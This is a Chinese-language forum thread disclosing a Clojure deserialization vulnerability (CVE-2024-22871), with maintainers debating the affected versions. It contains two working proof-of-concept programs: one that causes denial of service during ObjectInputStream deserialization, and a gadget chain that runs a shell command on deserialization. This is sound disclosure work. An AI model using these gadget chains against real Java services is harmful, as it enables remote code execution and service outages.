2024年 Clojure 评测调查!中分享您的想法。

欢迎!有关如何使用本网站的信息,请参阅关于 页面。

+1
Clojure
已关闭

报告漏洞

在 org.clojure:clojure 中存在一些漏洞如下:
- 拒绝服务攻击 (clojure 版本 1.2.0 - 1.12.0)

dos

Command Injection

注意,此漏洞不需要额外的组件。

详细信息
1.12.0-a5 中的 RCE CallGraph
17069252746231706925273707.png

CVE
- CVE-2024-22871

在 Clojure 1.11.2 和 1.12.0-alpha9 中发布
如以下讨论所示,DOS 攻击可能影响 1.2.0-1.12.0,本地验证下的命令执行可能影响 1.9.0-1.12.0。
我认为,目前一些问题与以下情况相似,但是是新的绕过方式。


https://clojure.atlassian.net/browse/CLJ-2204

编辑了
我不明白,如果一切都是Java,Clojure与这有什么关系?

更新:我是否正确理解,您可以在不使用Clojure的情况下用Java实现相同的功能?
没有正确执行,函数调用图部分依赖于Clojure,例如apply, RestFn等。在Clojure版本1.9.0-1.12.0(在Clojure版本poc)中,可以通过访问匿名函数类获得$fn_5920来执行命令。

1 个回答

+3

被选中
 
最佳答案

在不受信任的数据上使用ObjectInputStream是固有的危险行为,正如类的文档中所说。为什么将这个类的灾难性展览视为提供了一些使用的类的JAR包中的漏洞?

更容易为未来的读者重现的方法

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
是的,ObjectInputStream确实引入了潜在的安全风险。然而,关于这个具体的漏洞,问题不在于讨论可能导致安全问题的潜在风险。问题在于,在版本1.12.0-alpha5中,可以构建一种特殊的序列化数据包,这加剧了这些风险的可能危害。这可以无需其他依赖项完成,并允许命令执行(看起来process$start是一个新引入的函数)。反序列化常常取决于项目环境,但这个漏洞不需要任何其他依赖项,而且是与JAR包本身的问题。
明白了。但是,这和1.12.0-alpha5没关系——我刚刚添加到回答中的代码可以在1.8.0上运行以复现该行为。稍加修改,它也可以在1.2.0上运行(但无法在更早的版本上运行,因为在此之前的`clojure.lang.Cons`不可序列化)。
是的,这个漏洞仅影响1.12.0-alpha5版本。我对之前版本的分析并不多,我悲观地认为它们可能还有其他高风险的反序列化漏洞。
顺便说一下,如果可能的话,希望开发人员可以发布CVE,尽管我向CVE提出了要求,但我还没有收到回复。
你说的是“是”,但实际上你写的与我说的话相反——这个漏洞影响Clojure从1.2.0版本开始的所有版本。
真的吗?大家在指的难道是这一序列化导致的命令执行漏洞吗?因为我并不太熟悉Clojure,我只是从我的程序分析工具中得到了这个分析结果。
此外,最让我困惑的是 core$partial$fn__5920 类生成的原理。我用soot分析了 clojure.jar,但我想了解Clojure中 core$partial$fn__5920 的实际代码。
这个特定类是由 `partial` 函数的这种语法生成的: https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638
谢谢。由于时差问题,后面可能难以及时回复。

编辑
生成命令执行攻击的另一种方法

```clojure
(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
        ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "写入完成。读取...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
应注意,只需将 'fn start (ns-resolve 'clojure.java.shell 'sh)' 设置后,就可以影响版本 1.9.0 - 1.12.0,并且可以实施命令执行。
...